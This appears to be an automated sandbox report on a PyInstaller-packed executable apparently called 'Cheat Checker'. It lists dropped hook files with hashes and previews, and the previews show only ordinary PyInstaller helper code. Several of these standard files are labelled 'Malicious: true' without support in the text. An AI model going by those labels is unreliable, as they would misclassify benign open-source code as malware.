SHA-256:	599E9E9A1DB540EA97043D990E1C10E693909C7CD42CAA858FE51A6FCBD7278C
SHA-512:	E994DE3632585C1F8F23D0A8D9589234C3B9CDCADD2A93607ADF93EBB6794D641AEAAC32669B30D7085D495E2A72A4E94B925AEB00EA2AB5DF2A8FA32F530705
Malicious:	true
Preview:	# ------------------------------------------------------------------.# Copyright (c) 2020 PyInstaller Development Team..#.# This file is distributed under the terms of the GNU General Public.# License (version 2.0 or later)..#.# The full license is available in LICENSE.GPL.txt, distributed with.# this software..#.# SPDX-License-Identifier: GPL-2.0-or-later.# ------------------------------------------------------------------.import os...def get_hook_dirs():. hooks_dir = os.path.dirname(__file__). return [. # Required because standard hooks are in sub-directory instead of the top-level hooks directory.. os.path.join(hooks_dir, 'stdhooks'),. # pre_* and run-time hooks. hooks_dir,. ].

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\pycache\init.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	409
Entropy (8bit):	4.980938787480334
Encrypted:	false
SSDEEP:	12:C6aeyeLuoOukmTzR3QVOmliHS6EgJ9OX9rG1vv/+hB:5bLuoO9ozR8liEI4KvyB
MD5:	FCBEC2D7F3811FE5D4F6729238FAB053
SHA1:	E043B6CF5FAC77425D4E309EBEAE4895785FA838
SHA-256:	2B04816941E90BE4A1159D854D97076F365DEF6E998E1ED232B82F0655AA18CB
SHA-512:	723801D986C1FCFDDFA7DB67A30FF6907298FAD02F07E12CA09BFE39C36203A1F42780B4FBC7FB1CF792C446556B7EB2B5E0756AFE86687CD6F199D5754AEAFA
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.Z.d.d...Z.d.S.)......Nc....................C...s....t.j...t...}.t.j...\|.d...\|.g.S.).NZ.stdhooks)...os..path..dirname..__file__..join).Z.hooks_dir..r.....l...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/__init__.py..get_hook_dirs....s............r....).r....r....r....r....r....r......<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\pre_find_module_path\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	428
Entropy (8bit):	4.1646976534140085
Encrypted:	false
SSDEEP:	6:S1vS3NXFhZu47/BeubIsDQhJ4KrD1hgLRatFm2n:Ma3NXFhZhvI4QhJ4KrbO+FP
MD5:	AE9777B484FE39A577FB02AB257379B9
SHA1:	0FD5B4F4AE427A96C1B7DF8C3044448279F265DD
SHA-256:	C4A8B461BFBD5F605FBAFC83D170E69C31CE474008981DB82F54D5567920865F
SHA-512:	1B84DA8523ABEEE5B6CA54FAB1027606E131A514DC95D572623E00A322C00EDED51E674DEE9048DACC3AFBE67068007983FEBAA7C520BFF253A30B4C54F6BB82
Malicious:	false
Preview:	# ------------------------------------------------------------------.# Copyright (c) 2020 PyInstaller Development Team..#.# This file is distributed under the terms of the GNU General Public.# License (version 2.0 or later)..#.# The full license is available in LICENSE.GPL.txt, distributed with.# this software..#.# SPDX-License-Identifier: GPL-2.0-or-later.# ------------------------------------------------------------------.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\pre_find_module_path\pycache\init.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	225
Entropy (8bit):	4.940672035300563
Encrypted:	false
SSDEEP:	6:y/qQUtqeh/wcMjkDHSC5EgTdArQfVOX9rFMQW3GErsBD4:CeseJwcjHS6EgJ9OX9r6t3T2D4
MD5:	D359B6825FA16D61A1B8DD0528B905C4
SHA1:	C82D699130D0285DB7D3CF5C90FD920555ED4755
SHA-256:	FF486094F33C6A39467B4E35ED05B910B3494C8F8E76D3F5DFB77947D572C09C
SHA-512:	9148623F7EA90B73E027BD6994FBB914C103E072E386273AB11F3C64DE1516CF1C78756A6BFDE26414D6D6FF3EDFD5984C2DE2CD7548E03AF092F1EF30DAE5E8
Malicious:	false
Preview:	o.........e.........................@...s....d.S.).N..r....r....r.........F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/pre_find_module_path/__init__.py..<module>....s......

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\pre_safe_import_module\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	428
Entropy (8bit):	4.1646976534140085
Encrypted:	false
SSDEEP:	6:S1vS3NXFhZu47/BeubIsDQhJ4KrD1hgLRatFm2n:Ma3NXFhZhvI4QhJ4KrbO+FP
MD5:	AE9777B484FE39A577FB02AB257379B9
SHA1:	0FD5B4F4AE427A96C1B7DF8C3044448279F265DD
SHA-256:	C4A8B461BFBD5F605FBAFC83D170E69C31CE474008981DB82F54D5567920865F
SHA-512:	1B84DA8523ABEEE5B6CA54FAB1027606E131A514DC95D572623E00A322C00EDED51E674DEE9048DACC3AFBE67068007983FEBAA7C520BFF253A30B4C54F6BB82
Malicious:	false
Preview:	# ------------------------------------------------------------------.# Copyright (c) 2020 PyInstaller Development Team..#.# This file is distributed under the terms of the GNU General Public.# License (version 2.0 or later)..#.# The full license is available in LICENSE.GPL.txt, distributed with.# this software..#.# SPDX-License-Identifier: GPL-2.0-or-later.# ------------------------------------------------------------------.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\pre_safe_import_module\pycache\init.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	227
Entropy (8bit):	4.934425776909936
Encrypted:	false
SSDEEP:	6:y/qQUtqeh/wc6MDHSC5EgTdArQfVOX9rFMQVRJycD4:CeseJwc6SHS6EgJ9OX9r6grHD4
MD5:	0EB8CCB0C8BC6671424A8D3D5A970736
SHA1:	4E77CBA0DAC32D3B1C68DA851CBEB50BE9D27065
SHA-256:	7F0BB00AA12432969E6A3C86DAE08CF710D0FC9247ED95B3B2D02342BD57E0BA
SHA-512:	DBB0BDC09DA3FD9D8585E5524C777B9F0B1EA14BFD5D207415BDF87C4B4E6D63A6887DC0562E23302F090588A8921C029D85028EC282C7F4A858CD0B2E5F9C15
Malicious:	false
Preview:	o.........e.........................@...s....d.S.).N..r....r....r.........F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/pre_safe_import_module/__init__.py..<module>....s......

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\pre_safe_import_module\pycache\hook-tensorflow.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	528
Entropy (8bit):	5.19534299924929
Encrypted:	false
SSDEEP:	12:CAG7hYv+ukh+wucSVZUM5aQLIHS6EgJ9OX9r6grtgr5BX/Zd:o2W9h+xVX5afEI4ty9h/Zd
MD5:	D7AE1D5EA1B6538801B7F923E7CCCF7A
SHA1:	843722FACCBCE16787AAB354DC06B5A33B1D2B79
SHA-256:	82C7FEF91281A2B5753B904594C2BF2702F85A39D68A4F0F351921F866316EA2
SHA-512:	23D121DD17A97AEF818F1CF410EA114CEE27347DC77F5B7AF02760EDEA36E5FFA1FAAD9C8043B80DEAB540BEB77721C9ACBD8B896273D742E1AA75743905AD9B
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.m.Z...d.d...Z.d.S.)......)...is_module_satisfiesc....................C...s....t.d...r.\|...d.d.....d.S.d.S.).Nz.tensorflow >= 2.8.0z.keras.api._v2.kerasz.tensorflow.keras).r....Z.add_alias_module)...api..r.........F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/pre_safe_import_module/hook-tensorflow.py..pre_safe_import_module....s..........r....N).Z.PyInstaller.utils.hooksr....r....r....r....r....r......<module>....s........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\pre_safe_import_module\pycache\hook-win32com.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	1298
Entropy (8bit):	5.50766953350751
Encrypted:	false
SSDEEP:	24:hIdJjGPAyV9AViLi58EpcgWpP0RGdGEI4tnyiwcYjqt+my:h6Ja92eTdFe4By1qtFy
MD5:	6A099A1F09011BE620E65DC8F5B8ABB7
SHA1:	37283A440B0DD6CA49F63C405B5FA7BE0C1770D0
SHA-256:	66A20854128963C3D51EF3C3DACA573ACBF8F044CD59745A1CC45855354CE80B
SHA-512:	062F582A6AEDD0914811F5FE591745413EE7000C2C38A27A067A4B6BA1817C9BA0ABE1CD037A087C3AB0AD604CC7DC17BECB6E72A846C7848A2BA60F1FDEA61A
Malicious:	false
Preview:	o.........et........................@...s8...d.Z.d.d.l.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d...Z.d.S.).a(....PyWin32 package 'win32com' extends it's __path__ attribute with win32comext.directory and thus PyInstaller is not able to find modules in it. For example.module 'win32com.shell' is in reality 'win32comext.shell'...>>> win32com.__path__.['win32com', 'C:\Python27\Lib\site-packages\win32comext'].......N)...logger..exec_statement)...is_win..is_cygwinc....................C...sh...t.s.t.s.d.S.t.d.......}.\|.s.t...d.....d.S.t.j...\|...}.t.j...t.j...\|...d...}.t...d.\|.......\|...\|.....d.S.).Nz.. try:. from win32com import __file__. print(__file__). except Exception:. pass. z.win32com: module not availableZ.win32comextz(win32com: extending __path__ with dir %r).r....r....r......stripr......debug..os..path..dirname..joinZ.append_package_path)...apiZ.win32com_fileZ.win32com_dirZ.comext_dir..r.........F:\python\1 .......\Cheat Checke

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\pre_safe_import_module\hook-tensorflow.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1258
Entropy (8bit):	4.74225209216674
Encrypted:	false
SSDEEP:	24:G3Tbnd/xDgbOSnOMloXUKnJgJf/rGZqrt3Ab4Y4yzfNzMAT8EzXo8TAaDk:UTbndZDgiSn5lQwTGErtQb4Y4WfNIyzE
MD5:	3BE994F29639C6206E9478280097D863
SHA1:	0BC2E9D6DCBD1B54C5F2CF07764188A5A10CEEAD
SHA-256:	81E854A802D3B9C42659F093EA04F79D01926BE243616BBB3CF62C31E3F0FD4A
SHA-512:	34BE29A3B25A99AE194ECEE3DD2D2B83C75915D15FB30163F8C642255867C0EA72FB2E2A40EC0F2E9EC7425D9792D6AFCF81969D6164B0FCD05BC82F0BD89FC5
Malicious:	true
Preview:	#-----------------------------------------------------------------------------.# Copyright (c) 2022, PyInstaller Development Team..#.# Distributed under the terms of the GNU General Public License (version 2.# or later) with exception for distributing the bootloader..#.# The full license is in the file COPYING.txt, distributed with this software..#.# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception).#-----------------------------------------------------------------------------..from PyInstaller.utils.hooks import is_module_satisfies...def pre_safe_import_module(api):. # As of tensorflow 2.8.0, the `tensorflow.keras` is entirely gone, replaced by a lazy-loaded alias for. # `keras.api._v2.keras`. Without us registering the alias here, a program that imports only from. # `tensorflow.keras` fails to collect `tensorflow`.. # See: https://github.com/pyinstaller/pyinstaller/discussions/6890. # The alias was already present in earlier releases, but it does no

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\pre_safe_import_module\hook-win32com.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	4.85583339328573
Encrypted:	false
SSDEEP:	24:G3Zbnd/xDgbOSnOjGPAMtMYm4MySXySi1LeQErN8IN9pocgWp5Zg7wB:UZbndZDgiSnOaNWZneSnyIN9pPHgkB
MD5:	AA51F6760E82AB45F824B3DE5E9F23BD
SHA1:	4492DE961A1627BA43595B96FA01409CACB8640C
SHA-256:	56E58AF135AFD8158873C966B3E18573503449F319966A9939D408D227903A76
SHA-512:	B95D690B355D9D5A6983941241A8EFAE3CBAD2CC0B422DF132D25361D1B9F27CBBFEA38D7E4057B2EDD00994C95F4F660DCD1B03405F046D122A5B41D7063E8B
Malicious:	true
Preview:	#-----------------------------------------------------------------------------.# Copyright (c) 2005-2020, PyInstaller Development Team..#.# Distributed under the terms of the GNU General Public License (version 2.# or later) with exception for distributing the bootloader..#.# The full license is in the file COPYING.txt, distributed with this software..#.# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception).#-----------------------------------------------------------------------------.""".PyWin32 package 'win32com' extends it's __path__ attribute with win32comext.directory and thus PyInstaller is not able to find modules in it. For example.module 'win32com.shell' is in reality 'win32comext.shell'...>>> win32com.__path__.['win32com', 'C:\\Python27\\Lib\\site-packages\\win32comext'].."""..import os..from PyInstaller.utils.hooks import logger, exec_statement.from PyInstaller.compat import is_win, is_cygwin...def pre_safe_import_module(api):. if not (is_win or is_cygwin

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\rthooks.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	501
Entropy (8bit):	4.4888404837181755
Encrypted:	false
SSDEEP:	12:FFtAslNtAA8yAXM/xDrANNA5StA+xoQA/xdnpA7MixMAPcCixb3ACgXiLxCIAIwL:/DlF8E/CaSHulrkVvc/Z4iw8A
MD5:	CAC8A006CCBE1E73032CC9DF312BCF32
SHA1:	5E4744654ED711F78DCAB689675FAAFCDB9EEB38
SHA-256:	D02B4BFAC27DDE74E37C905FEC0233AB9303E00A240E2E33104A8FD215153341
SHA-512:	AD7BE86E654FF090EC2B3AB81103CD5BB2A6BAA2F657CE3D595B5CE6F27D272857879437FDF0911F284AF608E45C96DF31F48A683DA70289B0037977017D09F9
Malicious:	false
Preview:	{. 'enchant': ['pyi_rth_enchant.py'],. 'ffpyplayer': ['pyi_rth_ffpyplayer.py'],. 'osgeo': ['pyi_rth_osgeo.py'],. 'traitlets': ['pyi_rth_traitlets.py'],. 'usb': ['pyi_rth_usb.py'],. 'nltk': ['pyi_rth_nltk.py'],. 'pyproj': ['pyi_rth_pyproj.py'],. 'pygraphviz': ['pyi_rth_pygraphviz.py'],. 'pythoncom': ['pyi_rth_pythoncom.py'],. 'pyqtgraph': ['pyi_rth_pyqtgraph_multiprocess.py'],. 'pywintypes': ['pyi_rth_pywintypes.py'],. 'tensorflow': ['pyi_rth_tensorflow.py'],.}.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\rthooks\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	388
Entropy (8bit):	4.053069494909339
Encrypted:	false
SSDEEP:	6:S1vS3NXFhZu47/BcMYGXQnjt4KrD1hgLRatcS1vn:Ma3NXFhZhrXQJ4KrbO+cMv
MD5:	05EC909F2813CF47ACD50E127AC2A1F8
SHA1:	DC751EB48C7A4058D60763881D582E854770D4E4
SHA-256:	1F0081F9F99E7331FC789055673798DEB464BB154A28CA853D70B0FA364820CC
SHA-512:	8EDAA6C372F613A83E5D4167C405CE98D7F1ABDF95CB68A3BEA285DBF73BB85C38CBD0AFE872278A9ED92381B61FF58E02601E179D172F6F1BAF8302C4CDAAAA
Malicious:	false
Preview:	# ------------------------------------------------------------------.# Copyright (c) 2020 PyInstaller Development Team..#.# This file is distributed under the terms of the Apache License 2.0.#.# The full license is available in LICENSE.APL.txt, distributed with.# this software..#.# SPDX-License-Identifier: Apache-2.0.# ------------------------------------------------------------------.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\rthooks\pycache\init.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	212
Entropy (8bit):	4.860243113338382
Encrypted:	false
SSDEEP:	6:y/qQkqeh/wckDHSC5EgTdArQfVOX9rFOqD4:CZeJwcaHS6EgJ9OX9rnD4
MD5:	699CE401DD02D44CE95F82B63F0C8C0C
SHA1:	9D5140F06F561751D2FF6CE83D49C92104432876
SHA-256:	5DE02E8707BBE95CA21F80F98F2AA402B78153C385866A1BA30BCCF09C0B6C2D
SHA-512:	78B23FBA5EC50F68C3FA1FB059EE700DB0875F1ACEECB5F5A43A1E37C0919D45171A9979E1DB44AC3606F0DCAB1A8BB8AD18E8132CD6DCABA7B88DF61F2449E0
Malicious:	false
Preview:	o.........e.........................@...s....d.S.).N..r....r....r.....t...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/rthooks/__init__.py..<module>....s......

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\rthooks\pycache\pyi_rth_enchant.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	382
Entropy (8bit):	5.555857852285574
Encrypted:	false
SSDEEP:	6:y/qQBU/YgT6VkXU/L7s878A4Kc4OtV0btDpuZG4KjkDHSC5EgTdArQfVOX9rFO2X:C4wgT6VEy8uc4XiTK+HS6EgJ9OX9rtIG
MD5:	4DD2DDA0BBFE9629890AFE888FC7A33A
SHA1:	9957B72036FCCC26C0AE78C127C6550D9180968F
SHA-256:	F5EF44C3698D94AE96F231837C67B80AF82056EB4D5584A8DFCA5F609468A349
SHA-512:	0188D399FE59B1566F8B40D58A027573A508A71C808F601277608669A9B2E3F30DAE35C17A69889922E3074071B413FFB76A1ACF1D6EC031D71D266C8E26ACC8
Malicious:	false
Preview:	o.........e.........................@...s:...d.d.l.Z.d.d.l.Z.e.j...d...r.e.j...e.j.d...e.j.d.<.d.S.d.S.)......N..darwinZ.enchantZ.ENCHANT_PREFIX_DIR)...os..sys..platform..startswith..path..joinZ._MEIPASS..environ..r....r.....{...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/rthooks/pyi_rth_enchant.py..<module>....s..............

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\rthooks\pycache\pyi_rth_ffpyplayer.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	277
Entropy (8bit):	5.242145408777923
Encrypted:	false
SSDEEP:	6:y/qQmeNbs5dA6gnOlQ/okDHSC5EgTdArQfVOX9rFO2PnZ9H:CxNQ5SnKqHS6EgJ9OX9rtPZ9H
MD5:	D017B9048D62A958F96644132B0DAD64
SHA1:	BD4B61978F4327FFEF57B927C451B5A6D5BCD2BB
SHA-256:	9DD050FA4F147F68E6F14E8E4558AE2D444F3D57B8077AD89249023911CB746E
SHA-512:	F92B0984BCF70ACC2D721BF50A1D1D48158D1E15AA9D9DA0AA5C7144FED3F29107DC9C5F946C562F02F8F5206376083E30E557566B78AB97D5E24AF0EF436FD5
Malicious:	false
Preview:	o.........e.........................@...s ...d.d.l.Z.e.j.d.u.r.d.e._.d.S.d.S.)......N..)...site..USER_BASE..r....r.....~...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/rthooks/pyi_rth_ffpyplayer.py..<module>....s............

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\rthooks\pycache\pyi_rth_nltk.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.326380027541554
Encrypted:	false
SSDEEP:	6:y/qQX/CYelbsTjCXIlSUiEsR4JtZJtDpuwlWRkDHSC5EgTdArQfVOX9rFO2sZFmn:CxC7lQTsYNiEw4JtZxblWwHS6EgJ9OXH
MD5:	A4DDCF8FC410CB8CAC8724BFCBC10E0F
SHA1:	7EE7BD1BE05D401F215E37B9EF9E0B98243644E4
SHA-256:	C48EB788FCE83EAB2D03C25D29E1BF83F758C157750906CB658AD8632523C761
SHA-512:	DE44FD1E27A629833C60600E142FBF541CAAC793F080D0FE6AB4383AA2DBE129EB960ED4F4BA5D7894B9641D6F07E2DADBD82FBBB377D8E19B88B5F3D247408E
Malicious:	false
Preview:	o.........eW........................@...s8...d.d.l.Z.d.d.l.Z.d.d.l.Z.e.j.j...d.e.j...e.j.d.......d.S.)......NZ.nltk_data)...sys..osZ.nltk..data..path..insert..joinZ._MEIPASS..r....r.....x...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/rthooks/pyi_rth_nltk.py..<module>....s.......... .

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\rthooks\pycache\pyi_rth_osgeo.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	555
Entropy (8bit):	5.607058409976686
Encrypted:	false
SSDEEP:	12:CTaTDQ8GlsU5ON17c4iNHime85toHS6EgJ9OX9rtYMl2Cq5kOC:vQc97biBRoEI4h5e1C
MD5:	A2BD4D23919B57F5F7157585D6EFFA39
SHA1:	17C5B447B4FF1B5AE646C2C40B79570DABE2540C
SHA-256:	F2C1398ADDDE81D31725B3176BA3650556753C4DEAD95A2D409E9F8A604A3B69
SHA-512:	18D24AB74E2FA23FA0E79E29D5ADDBD0F61D1C0B180CF69C90AAE491337266D0A45E48B6B41B3EE926E28FFDD531D7ABD35C28FD049756E9DC7484056AEDB49B
Malicious:	false
Preview:	o.........e.........................@...s....d.d.l.Z.d.d.l.Z.e.j...d...Z.e.r>e.j...e.j.d.d...Z.e.j...e...s=e.j...e.j.d.d.d...Z.e.j...e.j...e.d.....s=e.j...e.j.d.d...Z.n.e.j...e.j.d.d...Z.e.j...e...rTe.e.j.d.<.d.S.d.S.)......N..win..dataZ.gdal..Library..sharez.gcs.csvZ.GDAL_DATA)...os..sys..platform..startswithZ.is_win..path..joinZ._MEIPASSZ.gdal_data..exists..environ..r....r.....y...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/rthooks/pyi_rth_osgeo.py..<module>....s................................

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\rthooks\pycache\pyi_rth_pygraphviz.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	5.521725922991806
Encrypted:	false
SSDEEP:	12:CcxQC8cbaNki3FidrAGezOXmFc4Tisl023D0IwHS6EgJ9OX9rtYnR9oQqYS5D:xt8cbauYYE44bTZl023D0IwEI4gnfJSd
MD5:	CE9A2738C47253C07253ECBE93909DC4
SHA1:	92B219DDEDF584F50E794C75D1D3631208310A08
SHA-256:	DF706F70A8CFACE4CE6E86B16B6086D31CFF4951B5CF0FD04EC11D8337768970
SHA-512:	DD179460903BA645342FED8F25D1F5C08F66A620B7818EE373536C1F850FBF18F3D508DCEBAA0CE73B92929A9CDA8CB19711457CD9833AB521DEA821914498E5
Malicious:	false
Preview:	o.........eu........................@...s,...d.d.l.Z.e.e.j.d...r.d.d...Z.e.e.j._.d.S.d.S.)......N.._whichc....................C...s`...d.d.l.}.d.d.l.}.d.d.l.}.\|.}.\|.....d.k.r.\|.d.7.}.\|.j...\|.j.\|...}.\|.j...\|...s.t.d.\|...d.......\|.S.).Nr......Windowsz..exez.Prog z8 not found in the PyInstaller-frozen application bundle!)...os..sys..platform..system..path..joinZ._MEIPASS..isfile..ValueError)...self..namer....r....r....Z.program_nameZ.program_path..r.....~...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/rthooks/pyi_rth_pygraphviz.py.._pygraphviz_override_which....s........................r....).Z.pygraphviz..hasattrZ.AGraphr....r....r....r....r....r......<module>....s..............

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\rthooks\pycache\pyi_rth_pyproj.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	460
Entropy (8bit):	5.576657151049775
Encrypted:	false
SSDEEP:	12:C0/D4TigvjkF3c4iNHii85slv4HS6EgJ9OX9rtXXrs:rrF3biBR1v4EI4/4
MD5:	9C7CDAA9F9F9C1AFC09EAA98E5DDBAEE
SHA1:	77ED23F0B5DA0A5A3A88B576B7E22A1DD117A278
SHA-256:	1DFE1D8AD958F8B5EB52588D0491B49D8D5A772AF5CFE4960539F3C06E339EB1
SHA-512:	8F0A5F76ED0E53C5C043F189F4EE4EA9D2F0CC7FB21A5B8E52D5DEEC6E05E39BE9557F553C4CCCAA11C4273D41B66A1A45CE732509BA1FEA3A1A88EBD45F2DBE
Malicious:	false
Preview:	o.........e3........................@...sf...d.d.l.Z.d.d.l.Z.e.j...d...Z.e.r.e.j...e.j.d.d.d...Z.n.e.j...e.j.d.d...Z.e.j...e...r1e.e.j.d.<.d.S.d.S.)......N..win..Library..shareZ.projZ.PROJ_LIB)...os..sys..platform..startswithZ.is_win..path..joinZ._MEIPASSZ.proj_data..exists..environ..r....r.....z...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/rthooks/pyi_rth_pyproj.py..<module>....s......................

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\rthooks\pycache\pyi_rth_pyqtgraph_multiprocess.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	5.508420296033206
Encrypted:	false
SSDEEP:	12:Ca0CTF/ohnnNiTR0f+lboi2fXQQlfTfBKWSiizrcaH3NyHS6EgJ9OX9rtFgXMJff:tohnNEofgSbBM73cC3NyEI4ZAk
MD5:	F65755B0833C8A774DC1A52830EED00F
SHA1:	6CBE5E455C1B3BEC6B99958B6CBE77142B7E13BC
SHA-256:	C355A9E028FEB54C2BB5BB343372DC95F8D25A1A6823648EC5956552E1CC51A3
SHA-512:	ED5E534A242388C7D0B941AFAB136E4A117F90A437490788574242EA66064460117293C5C5DA98BAC45F48F5DB0D0ABC50FF9077DF0B8DCA3C9C6806D0809894
Malicious:	false
Preview:	o.........e.........................@...s$...d.d.l.Z.d.d.l.Z.d.d...Z.e.....[.d.S.)......Nc....................C...s....t.t.j...d.k.rqt.j.d...t.j...t.j.d.d.d...k.rsz.d.}.t.\|...}.\|.j...\|...}.W.n...t.y/......d.}.Y.n.w.\|.r;t.\|.....t...d.....t.j...t.j.d.d.d...}.t.j...\|...rmt.\|.d.....}.\|.....}.W.d.........n.1.s_w.......Y...t.\|.....t...d.....t.d.....d.S.d.S.).N..........Z.pyqtgraphZ.multiprocessz.bootstrap.pyz pyqtgraph.multiprocess.bootstrapr......rz?Could not find pyqtgraph.multiprocess bootstrap code or script!)...len..sys..argv..os..path..joinZ._MEIPASS..__import__..__loader__..get_code..Exception..exec..exit..isfile..open..read..RuntimeError)...mod_name..modZ.bootstrap_coZ.bootstrap_file..fpZ.bootstrap_code..r.........F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/rthooks/pyi_rth_pyqtgraph_multiprocess.py."_setup_pyqtgraph_multiprocess_hook....s(...,.......................................r....).r....r....r....r....r....r....r......<modul

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_pyinstaller_hooks_contrib\hooks\rthooks\pycache\pyi_rth_pythoncom.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	5.488586763213772
Encrypted:	false
SSDEEP:	12:CpUw1QTZFifB7HS6EgJ9OX9rtEcUvtQYn:0UYGFcBEI4cc2Dn
MD5:	D213C1E7FD98625E8F9DCFBFEE8CC38B
SHA1:	9441E2F98058F43B52C597D682ED23F763ABBBA3
SHA-256:	7A314D6E09624FFCA10230584C7EF52C54DDA4411005D45421B327D7D4B028C5
SHA-512:	7554E6A308FB2636790D96CE790B5750F5321F590D8F5CB02E9AA260B1C82EB9D4915908CE657A96A1039F592FCC30B61AF70A7A393DCCCC3CFB5144CC89B19B
Malicious:	false
Preview:	o.........e,........................@...sH...d.d.l.Z.d.d.l.Z.e.j...e.j.d...Z.e.j...e...r!e.e.j.v.r!e.j...e.....[.d.S.)......NZ.pywin32_system32)...sys..os..path..joinZ._MEIPASSZ.pywin32_system32_path..isdir..append..r....r.....}...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\_pyinstaller_hooks_contrib/hooks/rthooks/pyi_rth_pythoncom.py..<module>....s................

